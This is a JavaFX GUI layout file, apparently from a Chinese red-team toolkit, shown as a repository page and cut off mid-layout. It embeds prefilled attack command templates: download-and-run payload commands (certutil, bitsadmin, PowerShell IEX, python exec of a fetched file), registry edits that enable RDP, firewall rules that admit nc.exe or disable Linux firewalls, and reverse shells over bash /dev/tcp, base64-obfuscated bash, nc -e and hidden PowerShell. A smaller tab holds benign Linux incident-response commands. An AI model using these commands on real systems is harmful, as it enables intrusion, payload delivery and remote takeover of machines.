Files
0x7eTeamTools/target/classes/fxml/gui.fxml
0x7eTeam b761270698 开源
2024-01-17 11:15:14 +08:00

2237 lines
209 KiB
XML
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.Insets?>
<?import javafx.scene.Cursor?>
<?import javafx.scene.control.Button?>
<?import javafx.scene.control.ComboBox?>
<?import javafx.scene.control.Label?>
<?import javafx.scene.control.Menu?>
<?import javafx.scene.control.MenuBar?>
<?import javafx.scene.control.MenuItem?>
<?import javafx.scene.control.RadioButton?>
<?import javafx.scene.control.ScrollPane?>
<?import javafx.scene.control.Tab?>
<?import javafx.scene.control.TabPane?>
<?import javafx.scene.control.TableColumn?>
<?import javafx.scene.control.TableView?>
<?import javafx.scene.control.TextArea?>
<?import javafx.scene.control.TextField?>
<?import javafx.scene.control.TitledPane?>
<?import javafx.scene.control.ToggleGroup?>
<?import javafx.scene.effect.Bloom?>
<?import javafx.scene.layout.BorderPane?>
<?import javafx.scene.layout.HBox?>
<?import javafx.scene.layout.VBox?>
<?import javafx.scene.paint.LinearGradient?>
<?import javafx.scene.paint.RadialGradient?>
<?import javafx.scene.paint.Stop?>
<?import javafx.scene.text.Font?>
<?import javafx.scene.web.WebView?>
<VBox maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" prefHeight="800.0" prefWidth="1000.0" xmlns="http://javafx.com/javafx/8.0.171" xmlns:fx="http://javafx.com/fxml/1" fx:controller="com.sec421.controller.ui.MainController">
<children>
<MenuBar>
<menus>
<Menu mnemonicParsing="false" text="设置">
<items>
<MenuItem fx:id="proxySetupBtn" mnemonicParsing="false" text="代理" />
<MenuItem fx:id="api_setting" mnemonicParsing="false" text="API配置" />
</items>
</Menu>
<Menu mnemonicParsing="false" text="关于">
<items>
<MenuItem mnemonicParsing="false" onAction="#about" text="关于" />
</items>
</Menu>
<Menu mnemonicParsing="false" text="更新日志">
<items>
<MenuItem mnemonicParsing="false" onAction="#update" text="更新日志" />
</items>
</Menu>
</menus>
</MenuBar>
<TabPane maxHeight="1.7976931348623157E308" maxWidth="1.7976931348623157E308" prefHeight="800.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" style="-fx-text-color: #FFFFFF;" text="基本工具">
<content>
<VBox>
<children>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="常用命令">
<content>
<HBox prefHeight="750.0" prefWidth="990.0" spacing="10.0">
<children>
<TabPane prefHeight="745.0" prefWidth="990.0" tabClosingPolicy="ALL_TABS">
<tabs>
<Tab closable="false" text="爆破专用">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="40.0" prefWidth="988.0" spacing="8.0">
<children>
<Label text="目标ip" textFill="#eb0000">
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="aaaTextField" prefHeight="29.0" prefWidth="293.0" promptText="ip/域名">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<Button fx:id="aaaBtn" mnemonicParsing="false" onAction="#aaaBtn" prefHeight="25.0" prefWidth="128.0" text="点击生成" textFill="RED">
<font>
<Font size="14.0" />
</font>
<graphic>
<VBox />
</graphic>
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</Button>
</children>
<VBox.margin>
<Insets left="10.0" />
</VBox.margin>
</HBox>
<TextArea fx:id="aaaTextArea" prefHeight="550.0" prefWidth="990.0">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="文件上传">
<content>
<ScrollPane>
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="40.0" prefWidth="988.0" spacing="8.0">
<children>
<TextField fx:id="aabip" prefHeight="29.0" prefWidth="200.0" promptText="127.0.0.1" text="127.0.0.1">
<HBox.margin>
<Insets left="6.0" top="6.0" />
</HBox.margin>
</TextField>
<TextField fx:id="aabport" prefHeight="29.0" prefWidth="200.0" promptText="8000" text="8000">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<TextField fx:id="aabsrcfile" prefHeight="29.0" prefWidth="200.0" promptText="exp.exe" text="exp.exe">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<TextField fx:id="aabdstfile" prefHeight="29.0" prefWidth="200.0" promptText="windows.exe" text="windows.exe">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<Button fx:id="aabBtn" mnemonicParsing="false" onAction="#aabBtn" prefHeight="25.0" prefWidth="128.0" text="点击生成" textFill="RED">
<font>
<Font size="14.0" />
</font>
<graphic>
<VBox />
</graphic>
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</Button>
</children>
</HBox>
<HBox>
<children>
<Label text="python2 http " textAlignment="RIGHT">
<HBox.margin>
<Insets left="15.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput1" prefHeight="29.0" prefWidth="820.0" promptText="python2 -m SimpleHTTPServer 8000" text="python2 -m SimpleHTTPServer 8000">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text="python3 http " textAlignment="RIGHT">
<HBox.margin>
<Insets left="15.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput2" prefHeight="29.0" prefWidth="820.0" promptText="python3 -m http.server 8000" text="python3 -m http.server 8000">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" Python FTP " textAlignment="RIGHT">
<HBox.margin>
<Insets left="15.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput3" prefHeight="29.0" prefWidth="820.0" promptText="python -m pyftpdlib -p 8000" text="python -m pyftpdlib -p 8000">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text="Python3 SMB " textAlignment="RIGHT">
<HBox.margin>
<Insets left="15.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput4" prefHeight="29.0" prefWidth="820.0" promptText="python3 impacket-smbserver.py files . -port 8000" text="python3 impacket-smbserver.py files . -port 8000">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text="PowerShell IWR" textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput5" prefHeight="29.0" prefWidth="820.0" promptText="powershell.exe -Command &quot;Invoke-WebRequest -Uri http://127.0.0.1:8000/exp.exe -OutFile windows.exe&quot;" text="powershell.exe -Command &quot;Invoke-WebRequest -Uri http://127.0.0.1:8000/exp.exe -OutFile windows.exe&quot;">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text="PowerShell IEX" textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput6" prefHeight="29.0" prefWidth="820.0" promptText="powershell.exe -Command &quot;IEX(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8000/exp.exe', windows.exe)&quot;" text="powershell.exe -Command &quot;IEX(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8000/exp.exe', windows.exe)&quot;">
<HBox.margin>
<Insets left="12.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" Certutil" textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput7" prefHeight="29.0" prefWidth="820.0" promptText="certutil.exe -urlcache -split -f http://127.0.0.1:8000/exp.exe windows.exe" text="certutil.exe -urlcache -split -f http://127.0.0.1:8000/exp.exe windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" cmd - SMB" textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput8" prefHeight="29.0" prefWidth="820.0" promptText="copy \\127.0.0.1\files\exp.exe windows.exe" text="copy \\127.0.0.1\files\exp.exe windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" linux - wget " textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput9" prefHeight="29.0" prefWidth="820.0" promptText="wget http://127.0.0.1:8000/exp.exe -O windows.exe" text="wget http://127.0.0.1:8000/exp.exe -O windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" linux - curl " textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput10" prefHeight="29.0" prefWidth="820.0" promptText="curl http://127.0.0.1:8000/exp.exe -o windows.exe" text="curl http://127.0.0.1:8000/exp.exe -o windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text="win -Bitsadmin" textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput11" prefHeight="29.0" prefWidth="820.0" promptText="bitsadmin /rawreturn /transfer down &quot;http://127.0.0.1:8000/exp.exe&quot; c:\\windows.exe" text="bitsadmin /rawreturn /transfer down &quot;http://127.0.0.1:8000/exp.exe&quot; c:\\windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" win - msiexec " textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput12" prefHeight="29.0" prefWidth="820.0" promptText="msiexec /q /i http://127.0.0.1:8000/exp.exe" text="msiexec /q /i http://127.0.0.1:8000/exp.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" PY Download " textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput13" prefHeight="29.0" prefWidth="820.0" promptText="python -c &quot;import urllib2; exec urllib2.urlopen('http://127.0.0.1:8000/exp.exe').read();&quot;" text="python -c &quot;import urllib2; exec urllib2.urlopen('http://127.0.0.1:8000/exp.exe').read();&quot;">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
<HBox>
<children>
<Label text=" win - IPC$ " textAlignment="RIGHT">
<HBox.margin>
<Insets left="12.0" top="5.0" />
</HBox.margin>
</Label>
<TextField fx:id="aabInput14" prefHeight="29.0" prefWidth="820.0" promptText="copy \127.0.0.1\c$\exp.exe C:\windows.exe" text="copy \127.0.0.1\c$\exp.exe C:\windows.exe">
<HBox.margin>
<Insets left="6.0" />
</HBox.margin>
</TextField>
</children>
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
</HBox>
</children>
</VBox>
</content>
</ScrollPane>
</content>
</Tab>
<Tab closable="false" text="RDP相关">
<content>
<ScrollPane>
<content>
<VBox prefHeight="572.0" prefWidth="990.0">
<children>
<Label text="查询系统是否允许3389远程连接">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="69.0" prefWidth="970.0" text="REG QUERY &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections &#10; 1表示关闭0表示开启">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="查看远程连接的端口">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#ff8300" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="65.0" prefWidth="970.0" text="REG QUERY &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; /v PortNumber">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="本机开启3389远程连接的方法 - cmd">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="RED" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="85.0" prefWidth="970.0" text="REG ADD &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&#10;REG ADD &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; /v PortNumber /t REG_DWORD /d 0x00000d3d /f">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="本机开启3389远程连接的方法 - 注册表">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#00d33f" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="186.0" prefWidth="970.0" text="内容如下:&#10;Windows Registry Editor Version 5.00&#10;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&#10;&quot;fDenyTSConnections&quot;=dword:00000000&#10;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]&#10;&quot;PortNumber&quot;=dword:00000d3d&#10;导入注册表:&#10;regedit /s a.reg">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
</content>
</ScrollPane>
</content>
</Tab>
<Tab closable="false" text="防火墙相关">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<Label text="2003及之前的版本,允许指定的程序进行全部的连接">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="19.0" prefWidth="970.0" text="netsh firewall add allowedprogram c:\nc.exe &quot;allownc&quot; enable">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="2003之后的版本允许指定的程序进行全部的连接">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#ff8300" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="40.0" prefWidth="970.0" text="netsh advfirewall firewall add rule name=&quot;pass nc&quot;dir=in action=allow program=&quot;C:\nc.exe&quot;">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="允许指定程序出站方向上进行网络通信">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="RED" />
<Stop color="WHITE" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="0.0" prefWidth="970.0" text="netsh advfirewall firewall add rule name=&quot;Allownc&quot; dir=out action=allow program=&quot;C: \nc.exe&quot; ">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="允许3389端口放行">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.5" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#00d33f" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="40.0" prefWidth="970.0" text="netsh advfirewall firewall add rule name=&quot;RemoteDesktop&quot; protocol=TCP dir=in localport=3389 action=allow">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
<Label text="Linux关闭防火墙">
<VBox.margin>
<Insets left="10.0" top="10.0" />
</VBox.margin>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="190.0" prefWidth="970.0" text="Ubuntu / Debian &#10;sudo ufw disable &#10; &#10; CentOS / Fedora / RHEL &#10;sudo systemctl stop firewalld &#10;sudo systemctl disable firewalld &#10;&#10; Arch Linux &#10; sudo systemctl stop iptables &#10; sudo systemctl disable iptables &#10;&#10; openSUSE &#10; sudo systemctl stop SuSEfirewall2 &#10; sudo systemctl disable SuSEfirewall2 &#10; &#10; Gentoo &#10; sudo rc-update delete iptables default &#10; sudo /etc/init.d/iptables stop &#10; &#10; Slackware &#10; sudo /etc/rc.d/rc.firewall stop &#10; &#10; Alpine Linux &#10; sudo /etc/init.d/iptables stop &#10; sudo rc-update del iptables">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="Linux应急">
<content>
<VBox prefHeight="461.0" prefWidth="990.0">
<children>
<TitledPane ellipsisString="" text="常用命令">
<content>
<HBox>
<children>
<Label>
<textFill>
<RadialGradient centerX="0.8898305084745763" centerY="0.5289855072463768" focusDistance="0.28915662650602414" radius="1.0">
<stops>
<Stop color="#0043ff" />
<Stop color="#fc0000" offset="1.0" />
</stops>
</RadialGradient>
</textFill>
</Label>
<TextArea prefHeight="546.0" prefWidth="970.0" text="查看Linux中占用资源情况&#10;top -c -o %CPU&#10;&#10;cpu占用前5的信息&#10;ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5&#10;&#10;查看网络通信的情况&#10;lsof -i -PnR&#10;&#10;寻找pid对应的进程&#10;ps aux | grep [pid]&#10;&#10;查看进程打开的文件&#10;lsof -p [pid]&#10;&#10;查看网络和端口情况&#10;netstat -utnpl&#10;&#10;显示进程和端口的对应关系&#10;lsof -i :[port]&#10;&#10;某个pid对应的文件路径&#10;ls -l /proc/[pid]/exe&#10;file /proc/[pid]/exe&#10;&#10;使用iptables屏蔽ip&#10;iptables -A INPUT/OUTPUT -s/d [目标ip] -j ACCEPT/DROP&#10;&#10;用iptables封锁和x.com的域名通信&#10;iptables -I INPUT -p tcp --dport 80 -m string --string &quot;x.com&quot; --algo bm -j DROP&#10;&#10;进行对比两个进程&#10;ps -ef | awk '{print}' | sort -n | uniq &gt;1&#10;ls /proc | sort -n | uniq &gt;2&#10;diff 1 2&#10;&#10;特殊权限文件查找&#10;find / *.jsp -perm 4777&#10;&#10;被入侵的系统肯定有文件被改动通过比较文件的md5创建时间文件路径&#10;find / -uid 0 -print 查找特权文件&#10;find / -size +10000k -print&#10;find / -name &quot;...&quot; -print&#10;md5sum -b [文件名]&#10;whereis [文件名]&#10;&#10;&#10;账号检查&#10;w 查看系统信息&#10;cat /etc/passwd 用户信息文件&#10;cat /etc/shadow 用户密码&#10;less /etc/passwd&#10;ls -l /etc/passwd 查看文件修改时间&#10;usermod -L [user] 锁定用户 -U 解锁用户&#10;userdel [user] 删除用户&#10;userdel -r [user] 删除用户和他的home&#10;&#10;用户登录检查&#10;last&#10;lastb">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
</children>
</VBox>
</content>
</Tab>
</tabs>
<padding>
<Insets bottom="5.0" />
</padding>
<opaqueInsets>
<Insets />
</opaqueInsets>
<cursor>
<Cursor fx:constant="DEFAULT" />
</cursor>
<effect>
<Bloom threshold="1.0" />
</effect>
</TabPane>
</children>
<padding>
<Insets top="10.0" />
</padding>
</HBox>
</content>
</Tab>
<Tab closable="false" text="编码转码">
<content>
<VBox>
<children>
<TextArea fx:id="abTextArea1" prefHeight="357.0" prefWidth="990.0" promptText="请输入待编码内容">
<font>
<Font size="16.0" />
</font>
</TextArea>
<HBox prefHeight="44.0" prefWidth="1000.0" spacing="10.0">
<children>
<ComboBox fx:id="abComboBox" prefHeight="29.0" prefWidth="241.0" promptText="-----请选择编码方式------">
<HBox.margin>
<Insets left="100.0" />
</HBox.margin>
</ComboBox>
<Button fx:id="abencodeBtn" mnemonicParsing="false" onAction="#abencodeBtn" prefHeight="25.0" prefWidth="92.0" text="↓编码↓">
<font>
<Font size="14.0" />
</font>
</Button>
<Button fx:id="abdecodeBtn" mnemonicParsing="false" onAction="#abdecodeBtn" prefHeight="25.0" prefWidth="92.0" text="↑解码↑">
<font>
<Font size="14.0" />
</font>
</Button>
</children>
<padding>
<Insets bottom="5.0" top="5.0" />
</padding>
<VBox.margin>
<Insets top="10.0" />
</VBox.margin>
</HBox>
<TextArea fx:id="abTextArea2" prefHeight="460.0" prefWidth="970.0" promptText="请输入待解码内容">
<VBox.margin>
<Insets left="10.0" right="10.0" top="10.0" />
</VBox.margin>
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</VBox>
</content>
</Tab>
<Tab closable="false" text="反弹shell">
<content>
<VBox prefHeight="700.0" prefWidth="990.0">
<children>
<HBox prefHeight="40.0" prefWidth="988.0" spacing="8.0">
<children>
<Label text="目标ip" textFill="#eb0000">
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="acTextField1" prefHeight="29.0" prefWidth="293.0" promptText="127.0.0.1" text="127.0.0.1">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<Label text="目标port" textFill="#eb0000">
<font>
<Font size="14.0" />
</font>
<HBox.margin>
<Insets top="10.0" />
</HBox.margin>
</Label>
<TextField fx:id="acTextField2" prefHeight="29.0" prefWidth="293.0" promptText="8080" text="8080">
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</TextField>
<Button fx:id="acBtn" mnemonicParsing="false" onAction="#acBtn" prefHeight="25.0" prefWidth="128.0" text="点击生成" textFill="RED">
<font>
<Font size="14.0" />
</font>
<graphic>
<VBox />
</graphic>
<HBox.margin>
<Insets top="6.0" />
</HBox.margin>
</Button>
</children>
<VBox.margin>
<Insets left="10.0" />
</VBox.margin>
</HBox>
<ScrollPane>
<content>
<VBox prefHeight="602.0" prefWidth="990.0">
<children>
<TitledPane text="Bash -i" textFill="#c22138">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea1" prefHeight="0.0" prefWidth="966.0" promptText="bash -i &gt;&amp; /dev/tcp/127.0.0.1/8080 0&gt;&amp;1" text="bash -i &gt;&amp; /dev/tcp/127.0.0.1/8080 0&gt;&amp;1">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Bash Base64">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea2" prefHeight="0.0" prefWidth="966.0" promptText="bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'" text="bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
<opaqueInsets>
<Insets />
</opaqueInsets>
</HBox>
</content>
<textFill>
<LinearGradient endX="1.0" endY="0.9806763285024155" startX="0.9420289855072463" startY="0.27053140096618356">
<stops>
<Stop color="#b90808" />
<Stop color="WHITE" offset="1.0" />
</stops>
</LinearGradient>
</textFill>
</TitledPane>
<TitledPane expanded="false" text="nc -e" textFill="#d12e1b">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea3" prefHeight="0.0" prefWidth="966.0" promptText="nc -e cmd 127.0.0.1 8080" text="nc -e cmd 127.0.0.1 8080">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Powershell -1" textFill="#d71d1d">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea4" prefHeight="0.0" prefWidth="966.0" promptText="powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&quot;127.0.0.1&quot;,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" text="powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&quot;127.0.0.1&quot;,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
</TitledPane>
<TitledPane expanded="false" text="Powershell -2" textFill="#dd1111">
<content>
<HBox>
<children>
<TextArea fx:id="acTextArea5" prefHeight="0.0" prefWidth="966.0" promptText="powershell -nop -c &quot;$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;" text="powershell -nop -c &quot;$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;">
<font>
<Font size="16.0" />
</font>
</TextArea>
</children>
</HBox>
</content>
